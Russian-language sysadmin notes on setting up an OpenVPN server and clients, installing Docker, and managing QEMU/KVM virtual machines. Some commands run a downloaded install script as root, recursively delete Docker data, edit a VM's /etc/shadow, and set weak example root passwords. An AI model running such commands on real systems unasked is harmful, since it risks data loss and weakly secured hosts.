Создайте сценарий для компиляции базовой конфигурации с соответствующими файлами сертификата, ключа и шифрования, а затем скопируйте созданный файл конфигурации в каталог ~/client-configs/files.

vim ~/client-configs/make_config.sh



chmod 700 ~/client-configs/make_config.sh

Этот сценарий создает копию файла base.conf, собирает все файлы сертификатов и ключей, извлекает их содержимое, добавляет их в базовый файл конфигурации и экспортирует все это для создания нового файла конфигурации клиента. Каждый раз, когда вы добавляете новый клиент, вам необходимо сгенерировать для него новые ключи и сертификаты, а затем запустить этот скрипт, чтобы создать файл конфигурации клиента.
Мы уже создали сертификат клиента и файлы ключей на шаге 7. Давайте создадим для них файл конфигурации.

cd ~/client-configs
./make_config.sh client1

файл конфигурации клиента лежит в
~/client-configs/files/client1.ovpn

13. Установите и проверьте клиентское соединение.
установим на клиентском компьютере openvpn
sudo apt install openvpn

Проверьте, использует ли ваша система systemd-resolved для управления DNS-запросами, выполнив следующую команду.
cat /etc/resolv.conf

Вы получите аналогичный результат.
# Generated by NetworkManager
nameserver 8.8.8.8
nameserver 8.8.4.4

Если система использует systemd-resolved, то указанный выше IP-адрес будет 127.0.0.53. Кроме того, комментарий вверху файла подтверждает то же самое. Если IP-адрес отличается от 127.0.0.53, значит, система не использует systemd-resolved, и вам необходимо выполнить шаги, упомянутые позже.

Но сначала загрузите файл client1.ovpn с сервера, используя следующую команду.
scp username@your_server_ip:/home/username/client-configs/files/client1.ovpn .

Для клиентов с systemd-resolved
sudo apt install openvpn-systemd-resolved
vim client1.ovpn

Раскомментируйте следующие строки в файле, удалив точку с запятой перед ними.



Для клиентов с update-resolve-conf
Это шаг, который вам нужно использовать, если у вас есть система Debian. Сначала убедитесь, что ваш дистрибутив использует update-resolv-conf.

$ ls /etc/openvpn
client server update-resolv-conf

Если ваша система содержит файл update-resolv-conf, откройте файл конфигурации клиента для редактирования.
vim client1.ovpn

Раскомментируйте следующие строки в файле, удалив точку с запятой перед ними.



Если вы используете дистрибутив на базе CentOS, измените директиву группы с nogroup на none.



Connect Client
sudo openvpn --config client1.ovpn

чтобы проверить соединение, посетите URL-адрес https://whatismyip.com в своем браузере, и вы увидите свой IP-адрес и местоположение вашего сервера OpenVPN
https://whatismyip.com

добавить плагин подключения в дебиане
apt install network-manager-openvpn-gnome

Начиная с Ubuntu 18.04, если у вас уже есть файл opvn, вы можете импортировать его. (sudo не требуется)
nmcli connection import type openvpn file [client].ovpn

клиент на андроид
OpenVPN Connect – OpenVPN App
https://play.google.com/store/apps/details?id=net.openvpn.openvpn&hl=ru
OpenVPN for Android
https://play.google.com/store/apps/details?id=de.blinkt.openvpn&hl=ru

прочее
ещё рецепты
Как сделать и настроить собственный VPN

sudo apt install openvpn easy-rsa -y

В папке нашего пользователя создаем директорию с символической ссылкой и нужными правами:

mkdir ~/easy-rsa
ln -s /usr/share/easy-rsa/* ~/easy-rsa/
chmod 700 ~/easy-rsa

Создаем конфигурационный файл для Easy-RSA и инициализируем инфраструктуру открытых ключей (PKI):

cd ~/easy-rsa
echo -e 'set_var EASYRSA_ALGO ec\nset_var EASYRSA_DIGEST sha512' > vars
./easyrsa init-pki

Сгенерируем ключи удостоверяющего центра:

./easyrsa build-ca nopass

Система запросит ввести универсальное имя, здесь можно просто нажать Enter.
Выпустим и подпишем пару "ключ-сертификат" для сервера:

./easyrsa gen-req server nopass
./easyrsa sign-req server server

При выполнении первой команды вас попросят указать Common Name, здесь просто нажмите Enter. Для второй команды запрос нужно подтвердить, введя yes.

Скопируем созданные файлы в каталог OpenVPN:

sudo cp ~/easy-rsa/pki/private/server.key /etc/openvpn/server
sudo cp ~/easy-rsa/pki/issued/server.crt /etc/openvpn/server
sudo cp ~/easy-rsa/pki/ca.crt /etc/openvpn/server

Для дополнительной защиты, создадим предварительный общий ключ (PSK), который будет использоваться с директивой tls-crypt:

sudo openvpn --genkey secret /etc/openvpn/server/ta.key

Выпустим и подпишем пару "ключ-сертификат" для клиента client1:

./easyrsa gen-req client1 nopass
./easyrsa sign-req client client1

В первой команде на требование указать Common Name нажмите Enter, при выполнении второй команды подтвердите запрос вводом yes.

Создадим директорию для клиентских конфигов, скопируем туда нужные файлы и установим для них соответствующие права:

mkdir ~/openvpn-clients
chmod -R 700 ~/openvpn-clients
cp ~/easy-rsa/pki/private/client1.key ~/openvpn-clients/
cp ~/easy-rsa/pki/issued/client1.crt ~/openvpn-clients/
sudo cp /etc/openvpn/server/{ca.crt,ta.key} ~/openvpn-clients/
sudo chown user ~/openvpn-clients/*

Настроим конфиг OpenVPN на основе дефолтного примера. Для этого скопируем шаблонный файл server.conf в рабочую директорию:

sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/server/

C помощью любого текстового редактора открываем файл server.conf для редактирования:

sudo vim /etc/openvpn/server/server.conf

В этом файле нужно внести следующие изменения:
заменить dh dh2048.pem на dh none
раскомментировать строку push "redirect-gateway def1 bypass-dhcp"
раскомментировать две строки с DNS серверами:
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
По умолчанию здесь указаны адреса публичных DNS серверов от OpenDNS. Рекомендую сразу их заменить на DNS сервера от CloudFlare (1.1.1.1, 1.0.0.1) или Google (8.8.8.8 и 8.8.4.4)
заменить tls-auth ta.key 0 на tls-crypt ta.key
заменить cipher AES-256-CBC на cipher AES-256-GCM и после этой строки добавить еще одну новую – auth SHA256
добавить в конце файла две строки:
user nobody
group nogroup

Чтобы включить переадресацию пакетов, раскомментируем (вручную или с помощью утилиты sed) строку net.ipv4.ip_forward=1 в файле /etc/sysctl.conf и применим изменения:

sudo sed -i '/net.ipv4.ip_forward=1/s/^#//g' /etc/sysctl.conf
sudo sysctl -p

Теперь нужно настроить форвардинг и маскарадинг в iptables, но для этого сначала посмотрим имя публичного сетевого интерфейса на сервере:

ip route list default

Пример результата выполнения команды показан ниже, в нем имя нужного нам интерфейса отображается сразу после "dev" :

default via 123.45.67.8 dev ens3 proto static onlink

Здесь интерфейс называется ens3, в вашем случае он может быть другой.

Разрешаем переадресацию и включаем маскарадинг в iptables. При необходимости имя интерфейса (ens3) в трех местах замените на нужное:

sudo apt install iptables-persistent -y
sudo iptables -A INPUT -i tun+ -j ACCEPT
sudo iptables -A FORWARD -i tun+ -j ACCEPT
sudo iptables -A FORWARD -i ens3 -o tun+ -j ACCEPT
sudo iptables -A FORWARD -i tun+ -o ens3 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/8 -o ens3 -j MASQUERADE
sudo netfilter-persistent save

Добавляем сервис OpenVPN в автозагрузку и запускаем его:

sudo systemctl enable openvpn-server@server.service
sudo systemctl start openvpn-server@server.service

Проверить, запущен ли VPN можно командой:

sudo systemctl status openvpn-server@server.service

Нам осталось создать файл конфигурации .ovpn, который клиент будет использовать для подключения к VPN.
Файл .ovpn должен содержать базовые параметры, сертификаты и ключи. Чтобы не объединять это всё вручную, напишем небольшой BASH-скрипт:

create_client_config.sh



В скрипте вместо X.X.X.X впишите IP адрес вашего сервера, поместите файл в любую директорию и установите исполняемые права:

chmod +x create_client_config.sh

Создаем .ovpn файл для client1:

./create_client_config.sh client1

Готово! В папке ~/openvpn-clients появился client1.ovpn. Скачайте его и просто импортируйте в любой OpenVPN-клиент или на роутер с поддержкой этой функции.


Docker

Apr. 29th, 2018 06:10 pm




ознакомиться
Установка Docker CE
https://download.docker.com/linux/static/stable/x86_64/

https://docs.docker.com/install/linux/docker-ce/debian/
$ sudo apt-get update
$ sudo apt-get install \
     apt-transport-https \
     ca-certificates \
     curl \
     gnupg2 \
     software-properties-common
$ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
$ sudo apt-key fingerprint 0EBFCD88
$ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/debian \
   $(lsb_release -cs) \
   stable"
$ sudo apt-get update
$ sudo apt-get install docker-ce

или

$ curl -fsSL get.docker.com -o get-docker.sh
$ sudo sh get-docker.sh

$ sudo usermod -aG docker your-user

Установить определенную версию Docker CE
Перечислите версии, доступные в вашем репо:
$ apt-cache madison docker-ce
$ sudo apt-get install docker-ce=

Удалить Docker CE
$ sudo apt-get purge docker-ce

Удалить все изображения, контейнеры и тома:
$ sudo rm -rf /var/lib/docker

Docker на i386-ом компьютере
https://launchpad.net/ubuntu/+source/docker.io
https://hub.docker.com/r/i386/

Running Docker containers on Bash on Windows


Установка Docker-compose
https://docs.docker.com/compose/install/

Docker-compose — пакетный менеджер (по аналогии с composer и npm, только у docker — контейнеры), позволяющий описывать необходимую структуру в одном файле (конфиге).

Для его установки нужно выполнить команду:

$ sudo curl -L "https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
$ docker-compose --version
$ sudo rm /usr/local/bin/docker-compose

pip install docker-compose
pip uninstall docker-compose


http://docker.com/
Docker Desktop
Docker Engine
https://pypi.org/project/docker-compose/
http://boot2docker.io/ docker для windows

https://podman.io/
https://distrobox.privatedns.org/
https://github.com/89luca89/distrobox


Docker EE
Docker CE

Учебник Docker
использование Docker Engine
Использование Docker

https://phpdocker.io/generator
------------------------------------------------------------------------
Docker изнутри: исчерпывающее руководство. Механизмы контейнеризации + примеры, эксперименты и реализация
Введение в систему управления виртуальными машинами docker-machine
Большая шпаргалка по Docker: как распилить монолитный проект на части
Полное практическое руководство по Docker: с нуля до кластера на AWS
Образы и контейнеры Docker в картинках
Оптимизация образов Docker
Используем Docker и не волнуемся о vendor-lock
Погружаемся в Docker: Dockerfile и коммуникация между контейнерами
OpenStack, Docker и веб-терминал, или как мы делаем интерактивные упражнения для обучения Linux
Как связать Docker-контейнеры, не заставляя приложение читать переменные окружения
Гайд по работе Docker в Python – от установки до сложных примеров
Режим без прав root
------------------------------------------------------------------------
Настройка docker в debian 11.2
Начала Docker для юнги
Понимая Docker
Что такое Docker: для чего он нужен и где используется
Полное практическое руководство по Docker: с нуля до кластера на AWS
Изучаем внутренние компоненты Docker — Объединённая файловая система
------------------------------------------------------------------------
Docker самый простой и понятный туториал. Изучаем докер, так, если бы он был игровой приставкой
------------------------------------------------------------------------
Команды для работы с докером
Cамые распространённые ошибки при работе с docker
------------------------------------------------------------------------
Знакомимся с основными возможностями Docker
Четыре класса задач, для которых Docker подходит идеально
Docker: запуск графических приложений в контейнерах
Docker. Управление образами и контейнерами
Большой Docker FAQ: отвечаем на самые важные вопросы - «Хакер»
Удаление образов, контейнеров и томов docker
Docker: retag образа
Bash – скрипт удаления образов с Docker Swarm нод
Мои шпаргалки по Docker
Как копировать изображения докеров с одного хоста на другой без репозитория?
------------------------------------------------------------------------
https://letsclearitup.com.ua/docker
Docker: работа с контейнерами
Очистка места на диске после docker
Очистка места в private docker-registry
Docker: заметки веб-разработчика. Итерация первая
Docker: заметки веб-разработчика. Итерация вторая
Docker: заметки веб-разработчика. Итерация третья
Docker: заметки веб-разработчика. Итерация четвертая
https://wiki.russianfedora.pro/index.php?title=Docker
Шпаргалка с командами Docker
------------------------------------------------------------------------
Как установить и использовать Docker в Ubuntu 16.04
Установка и настройка Docker
Docker Machine
Установка docker machine в Unix/Linux
Как создать контейнер на удалённом хосте с помощью Docker Machine
Как создать кластер Docker-контейнеров с Docker Swarm и DigitalOcean на CentOS 7
Настройка docker swarm кластера в Unix/Linux
Краткое введение в docker swarm mode
Linux-дистрибутив from scratch для сборки Docker-образов — наш опыт с dappdeps
Как настроить брандмауэр Linux для Docker Swarm в CentOS 7
------------------------------------------------------------------------
Кросс-компиляция в docker. Почему бы и нет?
Уменьшение размера docker образа с spring boot приложением
https://github.com/GoogleContainerTools/jib
------------------------------------------------------------------------
Опыт разработки высоконагруженной системы в рамках HighLoad Cup
Разработка под Docker. Локальное окружение. Часть 1
Разработка под Docker. Локальное окружение. Часть 2 — Nginx+PHP+MySql+phpMyAdmin
Готовим локальную среду Docker для разработки на PHP
https://github.com/PHPtoday-ru/docker-local-conf
Как поднять сайт в Docker
Настройка веб-сервера в Docker (NGINX + PHP + MariaDB)
Используем Docker для развертывания web-приложения bitrix
Установка PostgreSQL с помощью Docker
60+ Best Docker Containers for Home Server Beginners 2023
Docker Media Server Ubuntu 22.04 with 23 Awesome Apps
https://github.com/htpcBeginner/docker-traefik
https://github.com/GhostWriters/DockSTARTer
------------------------------------------------------------------------
https://docs.docker.com/network/
Букварь построения сети Docker
Работа с сетью (Networking) в Docker
Настройка сети и связи Docker
ИСПОЛЬЗОВАНИЕ DOCKER MACVLAN СЕТЕЙ
Docker: настройка сети
docker: network
Решение конфликта IP-адресов при использовании Docker
Сети Docker изнутри: как Docker использует iptables и интерфейсы Linux
Docker: как развернуть фуллстек-приложение и не поседеть
Вы должны перестать вручную писать Dockerfile'ы
------------------------------------------------------------------------
Создание CI/CD-цепочки и автоматизация работы с Docker
Современный стек сборки и публикации сайтов на Django
------------------------------------------------------------------------
https://docs.docker.com/build/building/base-images/
Создание собственного образа Docker
Создание собственного base-образа Docker с ОС Linux
Настройка локального репозитория для образов Docker и работа с ним
Как создать образы Docker и разместить репозиторий изображений Docker с помощью GitLab
Как оптимизировать изображения Docker для производства
------------------------------------------------------------------------
Как удалить образы, контейнеры и тома Docker
Как передавать данные между контейнером Docker и хостом
Как передавать данные между контейнерами Docker
Как организовать безопасное хранение секретов в Docker: лучшие практики
Docker как контейнер-песочница, v2

------------------------------------------------------------------------
Разработка приложений на Elixir/Phoenix с помощью Docker
------------------------------------------------------------------------
Docker-образ для раздачи Single Page Application
------------------------------------------------------------------------
Осилил запуск GUI-приложений в Docker
Можете ли вы запускать графические приложения в контейнере докеров?
Using GUI's with Docker
Subuser превращает контейнеры Docker в обычные программы Linux
https://github.com/timthelion/subuser
https://hub.docker.com/r/amanral/ubuntu-firefox/
------------------------------------------------------------------------
Nix Создание и запуск образов Docker
------------------------------------------------------------------------
Шпаргалка docker
https://cheatsheets.zip/docker
Шпаргалка по работе с docker-compose
Шпаргалка для новичков — от GIT до Деплоя
Docker на каждый день: Ключевые команды в одной статье-шпаргалке
------------------------------------------------------------------------
Справочник по Dockerfile
------------------------------------------------------------------------
bootc-контейнеры — загружаемые контейнеры, которые можно запускать не только в привычном виде qcow, vmdk и raw-образов виртуальных машин, но и прямо на Bare Metal.
Внутри контейнеров — bootc

------------------------------------------------------------------------
Linux-контейнеры в паре строчек кода
Как собрать Linux-контейнер с нуля и без Docker
------------------------------------------------------------------------
Docker hub перестал работать в России
https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images
https://gallery.ecr.aws/docker/?page=1



sudo systemctl restart docker
docker info | grep -A3 "Registry Mirrors"

образы docker
создание образов docker
uzverss docker команды

Qemu-KVM

Apr. 29th, 2018 04:49 pm



подборка по виртуализации и облакам

ознакомиться
oVirt
https://resources.ovirt.org/pub/
https://www.ovirt.org/node/
https://ovirt.org/documentation/install-guide/chap-Installing_oVirt.html
http://www.tadviser.ru/index.php/Продукт:Red_Hat_Virtualization_(RHV)
oVirt
https://ivirt-it.ru/ovirt-tutorial/
Установка и настройка виртуального дата-центра oVirt на хост с CentOS 7.1
Установка и базовая настройка oVirt 3.6 на CentOS 7 x64
Развёртывание и настройка oVirt 4.0. Часть 1. Создание кластера виртуализации в конфигурации Hosted Engine
Развёртывание и настройка oVirt 4.0. Часть 12. Резервное копирование виртуальных машин
https://github.com/wefixit-AT/oVirtBackup


Proxmox
Proxmox. Полное руководство. 3е изд.
Proxmox. Полное руководство. 2е изд.
Книга рецептов Proxmox
Полная виртуализация. Базовая коммерческая редакция: Proxmox-freeNAS-Zentyal-pfSense
Мой первый опыт использования Proxmox VE
Установка Proxmox в Debian на raid 1
------------------------------------------------------------------------
https://www.youtube.com/watch?v=Z1kdfNF_gSw
https://www.youtube.com/watch?v=_PjdHkUscPM
https://www.youtube.com/watch?v=mXtvzsiDVrw
------------------------------------------------------------------------
https://ayufan.eu/projects/proxmox-ve-differential-backups/
https://www.proxmox.com/en/training/video-tutorials/item/what-s-new-in-proxmox-ve-5-3
Proxmox, Ceph, ZFS, pfsense (большая подборка)
Кластеризация в Proxmox VE
Как из домашнего ПК средствами виртуализации сохранить игровую систему

Миграция физических и виртуальных машин hyper-v на Proxmox
https://xcp-ng.org/
https://github.com/xcp-ng
https://updates.xcp-ng.org/isos/

incus
https://linuxcontainers.org
https://github.com/lxc/incus


https://www.virt-tools.org/
https://cockpit-project.org/running.html
https://wiki.debian.org/ru/KVM
https://www.altlinux.org/KVM
https://wiki.archlinux.org/title/QEMU
https://wiki.gentoo.org/wiki/QEMU/Linux_guest
https://github.com/libvirt/libvirt
https://github.com/virt-manager/virt-manager
https://github.com/nemuTUI/nemu
https://gitlab.com/qtemu/gui
https://github.com/google/crosvm
https://github.com/UPC/ravada


Книга рецептов виртуализации KVM
Глава 6. Виртуальные машины KVM
Перестаем бояться виртуализации при помощи KVM
Qemu-KVM: работа в Debian
Howto Qemu-kvm Debian 8
QEMU/KVM и установка Windows
https://help.ubuntu.com/community/KVM/Networking
QEMU/KVM и установка Windows
Работа с виртуальными машинами KVM. Подготовка хост-машины
Установка виртуальной машины Qemu-KVM на домашний ПК с Linux
как запустить виртуальную машину riscv64 под QEMU
Управление виртуализацией на основе libvirt
Установка и настройка Windows Hyper-V Server 2016
Клонирование виртуального контролера домена в Windows Server 2012
OEM-активация Windows Vista/7/8/8.1 под гипервизором QEMU
MacOS Monterey на Linux — быстро и просто?
https://github.com/kholia/OSX-KVM
Используем KVM для создания виртуальных машин на сервере
Настройка сети Ubuntu Linux для работы с системой виртуализации KVM/QEMU
Bridged Host-VM Network
How to configure bridged network in virt-manager (CentOS / RHEL 7)
https://www.tecmint.com/create-network-bridge-in-ubuntu/
Bridged Networking with Virtual Machine Manager
Создаем изолированную сеть для виртуальных машин KVM
Работа с KVM в Debian или Ubuntu из командной строки
Как установить KVM в Fedora 39/38/37/36/35/34
Create and Configure Bridge Networking For KVM in Linux
Создание и использование сетевого моста в Arch Linux|Manjaro
Шпаргалка по командам Virsh для управления гостевыми виртуальными машинами KVM
Увеличение диска в файле виртуальной машине на KVM с ext4
Как открыть диски виртуальных машин и скачивать и закачивать на них файлы (РЕШЕНО)
Работаем с образами дисков KVM с помощью NBD
Как монтировать образы QCOW как блочные устройства Linux
Блочные устройства QEMU
https://qemu-project.gitlab.io/qemu/system/images.html
QEMU KVM - Настройка узла виртуализации на базе libvirt
Виртуализация KVM с помощью libvirt/virsh и Open vSwitch
Управление виртуальными машинами с помощью virsh
------------------------------------------------------------------------
https://looking-glass.hostfission.com/
Подключение и отключение USB устройств к виртуальной машине KVM
Разворачиваем виртуалку с Windows с пробросом виртуальной видеокарты с помощью QEMU и Intel GVT-g
PCI passthrough via OVMF (проброс произвольной видеокарты)
Patch Qemu and Fix VM Audio
Why does the audio from VM crackle?
------------------------------------------------------------------------
Сжать файлы диска Qcow2
QEMU, KVM и обрезка
Better Utilization of Storage Features from KVM Guest via virtio-scsi
Отменить (TRIM) с помощью виртуальных машин KVM
Откажитесь от (TRIM) с помощью виртуальных машин KVM... в 2020 году! (актуальный с qemu > 4.0)
Активация discard (TRIM) на Linux для SSD
------------------------------------------------------------------------
Автоматизация системных тестов на базе QEMU (Часть 1/2)

Spicy
https://www.spice-space.org/
Виртуализация QEMU/KVM в Astra Linux
Выводим в Интернет публичную виртуальную машину QEMU без сетевой карты и пробуем майнить
https://github.com/flexvdi

apt install spice-client-gtk

Проверить статус ВМ:
virsh -c qemu:///system list --all

Проверить параметры подключения к ВМ
virsh -c qemu:///system domdisplay vm1

Подключиться к виртуальному монитору ВМ
spicy -h 127.0.0.1 -p 5900


проблемы звука
QEMU_ALSA_DAC_BUFFER_SIZE=2048 Для разных карт разный размер буфера. поэксперементируйте и выберите оптимальный.

https://www.opennet.ru/openforum/vsluhforumID3/120480.html#52
чтобы не было треска, при выводе в конфигурации звука 5.1, работает такой вариант:
-device usb-audio,audiodev=usb,multi=on
-audiodev pa,id=usb,server=/run/user/1000/pulse/native,out.mixing-engine=off,out.buffer-length=4608000,timer-period=2000,out.voices=2

И нет, если просто скопипастить, 80% что сразу не заработает. Т.к. надо подогнать как минимум out.buffer-length, и timer-period под свой случай. И UID пользователя может быть не 1000.
Подробности тут: https://qemu.weilnetz.de/doc/qemu-doc.html#Standard-options
И тут: https://wiki.archlinux.org/index.php/PulseAudio_(Русский)/Troubleshooting_(Русский)#Глюки,_пропуски_или_потрескивания (Откуда брать про буфер подробности - обратить внимание на device.buffering.buffer_size из вывода pactl.)

pactl list sinks
device.buffering.buffer_size

Этими же параметрами и не только usb а и старый hda-micro тоже приводится в чувство, но там такой здоровый буфер как в этой строчке не нужен - т.к. только стерео.


http://itman.in/kvm-hypervisor/

------------------------------------------------------------------------
KVM & BRCTL in Linux – bringing VLANs to the guests
Bridging VLAN Trunk to the Guest
CentOS virtual networking, virbr and vlan tagging
VLAN tagging on Linux for KVM
Создание VLAN на KVM-I
Networking KVM for CloudStack – a 2018 revisit for CentOS7 and Ubuntu 18.04
Transparent VLAN Tagging with libvirt and Open vSwitch
------------------------------------------------------------------------
uzverss первый запуск OpenWRT на QEMU

Запуск приложения в отдельных виртуальных машинах с помощью AppVM
https://github.com/jollheef/appvm

http://manpages.ubuntu.com/manpages/bionic/man1/virt-p2v.1.html
P2V конвертация физического контроллера домена на базе Windows Server 2012 R2 в виртуальную машину Hyper-V Generation 2
Как преобразовать физический сервер в виртуальную машину Virtuozzo

Хост KVM в паре строчек кода
Реализации машины в qemu

/etc/libvirt/qemu.conf - основной конфиг qemu. Тут задаём параметры vnc сервера.
/etc/libvirt/qemu/ - папка для хранения конфигов, в том числе и виртуальных машин.

Управление виртуальными машинами KVM из консоли
# virsh list – показать список запущенных ВМ
# virsh list --all – показать список всех машин (в том числе выключенных)
# virsh shutdown — выключить виртуальную машину
# virsh start — запустить виртуальную машину
# virsh suspend — приостановить виртуальную машину
# virsh resume — запустить приостановленную виртуальную машину
# virsh reboot — перезапустить виртуальную машину
# virsh destroy — уничтожить виртуальную машину
# virsh undefine — удалить машину из списка и удалить все файлы, принадлежащие ей (обычно применяется после выполнения команды virsh destroy).
# virsh vcpuinfo — информация о процессоре на виртуальной машине (информацию о железе физического Linux сервера можно получить так)
# virsh domid — получить идентификатор виртуальной машины
# virsh domuuid — получить UUID виртуальной машины
# virsh dominfo — получить сведения о виртуальной машине
# virsh domstate — просмотр состояния виртуальной машины
# virsh dumpxml — вывести файл конфигурации указанной виртуальной машины в XML формате


рецепты
Особенности при установки qemu в Debian 11
https://propk.ru/virt-manager-debian-10/
apt -y install qemu libvirt-daemon bridge-utils virtinst libvirt-daemon-system
apt -y install libguestfs-tools libosinfo-bin qemu-system virt-manager
виртуальная сеть не активна ‘default’.
sudo virsh net-list --all
sudo virsh net-start default
sudo virsh net-destroy default
https://dondub.com/2023/01/zapusk-kvm-na-debian-11/
virsh net-autostart default

установка aarch64 на virt-manager x86_64
Установка необходимых компонентов
Для эмуляции другой архитектуры на x86_64 вам потребуются пакеты эмулятора QEMU для ARM и прошивка UEFI (EDK2):
Ubuntu/Debian:
sudo apt install qemu-system-arm qemu-efi-aarch64 qemu-utils virt-manager
Федора:
sudo dnf install qemu-system-aarch64 edk2-aarch64 virt-manager
Arch Linux:
sudo pacman -S qemu-emulators-full edk2-armvirt virt-manager

Настройка виртуальной машины в virt-manager
Архитектура: aarch64
Тип машины: virt
CPU: Выберите cortex-a57 или max
На последнем шаге перед установкой установите галочку «Проверить конфигурацию перед установкой»

Другие типы машин (почему их НЕ надо выбирать):
sbsa-ref: Это эмуляция серверного железа (Server Base System Architecture). Она требует специфических прошивок объемом ровно 256 МБ и гораздо сложнее в настройке для обычного пользователя.
raspi3b / virt2 / и т.д.: Это эмуляция конкретных плат (например, Raspberry Pi). Они имеют жесткие ограничения по объему оперативной памяти (например, 1 ГБ для Pi3) и часто требуют передачи специфического dtb (Device Tree Blob) файла при загрузке

Важные настройки для типа virt:
Чтобы Alpine Linux успешно загрузился с ISO:
CPU: Выберите cortex-a57 или max. Использование host невозможно, так как архитектуры хоста и гостя различаются.
Видео: Установите virtio (или ramfb). Стандартное VGA для virt машин часто не инициализируется корректно.
CD-ROM: Убедитесь, что ISO подключен через шину USB или SCSI. Шина IDE на машинах типа virt не поддерживается.

Для стандартного образа Alpine Linux (и большинства других дистрибутивов) в 2025 году лучше всего подходит:
/usr/share/AAVMF/AAVMF_CODE.fd (если есть в списке) или /usr/share/AAVMF/AAVMF_CODE.no_secboot.fd

AAVMF_CODE.no_secboot.fd: Это самый безопасный вариант для Alpine. В нем отключена проверка Secure Boot. Alpine Linux "из коробки" может иметь проблемы с загрузкой, если включена строгая проверка подписей Secure Boot, так как не всегда использует подписанный загрузчик shim.
AAVMF_CODE.ms.fd: Содержит ключи Microsoft. Используется в основном для запуска Windows on ARM или дистрибутивов с полной поддержкой Secure Boot (Ubuntu, Fedora). Для Alpine это может создать лишние препятствия.
AAVMF_CODE.secboot.fd: Включает механизм Secure Boot, но без предустановленных ключей (или со специфическими).

Если ISO всё равно не загружается:
Если после выбора прошивки вы видите пустой экран или консоль UEFI (Shell), проверьте два момента в настройках virt-manager:
Тип шины диска и CD-ROM: Для ARM64 (aarch64) крайне рекомендуется использовать шину VirtIO для диска и SCSI или USB для CD-ROM. Шина IDE на ARM часто не поддерживается.
Видеокарта: Установите модель Virtio (с поддержкой 3D или без) или Ramfb. Стандартные VGA/Cirrus, привычные для x86, на aarch64 часто не выводят изображение.

Ошибка («Display output is not active») на архитектуре aarch64 чаще всего возникает из-за того, что эмулируемая машина virt не имеет стандартного видеовыхода, как у обычного ПК, и UEFI не знает, куда выводить изображение.
Для исправления в 2025 году выполните следующие шаги в настройках виртуальной машины:
1. Сменить видеодрайвер
В разделе Video (Видео):
Измените модель на virtioили ramfb.
Важно: Не используйте VGA, Cirrus или QXL — они плохо работают с архитектурой ARM в QEMU. ramfb является наиболее надежным вариантом для этапа загрузки UEFI.
2. Проверьте тип Графического дисплея
В разделе Display Spice (или Display VNC):
Убедитесь, что выбран Listen type: Address (или None).
Если используете Spice, попробуйте переключить на VNC, так как он иногда стабильнее инициализирует «картинку» при программной эмуляции (TCG).
3. Добавьте последовательную консоль (Serial Console)
На ARM-системах вывод часто идет не в графику, а в последовательный порт.
Нажмите Add Hardware (Добавить оборудование) -> Serial.
Совет: pty .
После запуска машины, если графическое окно пустое, перейдите в меню virt-manager: View (Вид) -> Consoles (Консоли) -> Serial 1.
Alpine Linux часто выводит лог загрузки именно туда.
4. Настройка Шины ввода (Input)
Тип машины virt не поддерживает PS/2 мышь и клавиатуру.
Удалите старые устройства ввода.
Добавьте USB Keyboard и USB Mouse (или EvTouch USB Graphics Tablet). Без этого вы не сможете управлять меню загрузки.
5. Принудительный выбор устройства загрузки
Если экран активен (черный), но ничего не происходит:
Сразу после запуска быстро нажимайте ESC (может потребоваться несколько попыток из-за медленной эмуляции).
Вы попадете в меню UEFI.
Выберите Boot Manager.
Найдите пункт UEFI QEMU CD-ROM и нажмите Enter.
Почему это происходит: Эмуляция aarch64 на x86 идет через TCG (программный транслятор), она крайне медленная. Иногда отрисовка первого кадра UEFI занимает до 30-60 секунд. Подождите немного после запуска.


оптимизация диска VM
qemu-img info debian10.qcow2
virt-df -h debian10.qcow2
virt-sparsify debian10.qcow2 debian10-new.qcow2


сброс пароля
sudo virt-edit -d название_виртуалки /etc/shadow
sudo virt-sysprep --root-password password:123456 -a guest.img
Fedora 37 Cloud Base Images
sudo virt-sysprep -a --root-password password:12345678 --selinux-relabel


Перенос из KVM в VMware
qemu-img convert -f qcow2 centos7.qcow2 -O vmdk centos7.vmdk

Увеличиваем размер образа. В случае использования KVM/QEMU:
qemu-img resize vm.qcow2 +5GB

В случае использования VirtualBox, потребуется дополнительный шаг с
промежуточным преобразованием VDI в qcow2 или raw-формат:
qemu-img convert -f vdi -O qcow2 vm.vdi vm.qcow2
qemu-img resize vm.qcow2 +5G
qemu-img convert -f qcow2 -O vdi vm.qcow2 vm.vdi

чтобы выделить видеопамять больше 16 мегабайт
qemu -device VGA,vgamem_mb=128, а в virt-manager подправить xml файл.


флаги ядра
https://wiki.gentoo.org/wiki/QEMU
минимальный
CONFIG_BLOCK=y
CONFIG_BLK_DEV=y
CONFIG_DEVTMPFS=y
CONFIG_VIRTIO_MENU=y
CONFIG_VIRTIO_BLK=y


Как очистить устаревшие записи virsh net-dhcp-leases default
cat /var/lib/libvirt/dnsmasq/default.leases
sudo cat /var/lib/libvirt/dnsmasq/virbr0.status | jq

1. Останови сеть:
virsh net-destroy default

2. Удали virbr0.status:
sudo rm /var/lib/libvirt/dnsmasq/default.leases
или
sudo rm /var/lib/libvirt/dnsmasq/virbr0.status

3. Перезапусти сеть:
virsh net-start default

Теперь снова проверь:
virsh net-dhcp-leases default


просмотр всех ip адресов на всех интерфейсах у всех виртуалок
на каждой виртуалке
sudo apt install qemu-guest-agent
sudo systemctl enable --now qemu-guest-agent
sudo systemctl status qemu-guest-agent

на хосте
get_ip_address_vm.sh





https://hackware.ru/?p=14459
sudo apt install libguestfs-tools
virt-cat -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' '/ПАПКА/ФАЙЛ'
virt-filesystems -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА'
virt-ls — показывает список файлов
virt-ls -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' '/ПАПКА'
virt-edit — редактирует файл
virt-copy-in — копирует файлы и директории в виртуальную машину
virt-copy-out — копирует файлы и директории из виртуальной машины
guestmount — монтирует файловую систему гостевой машины в основную
guestunmount — размонтирует гостевую файловую систему
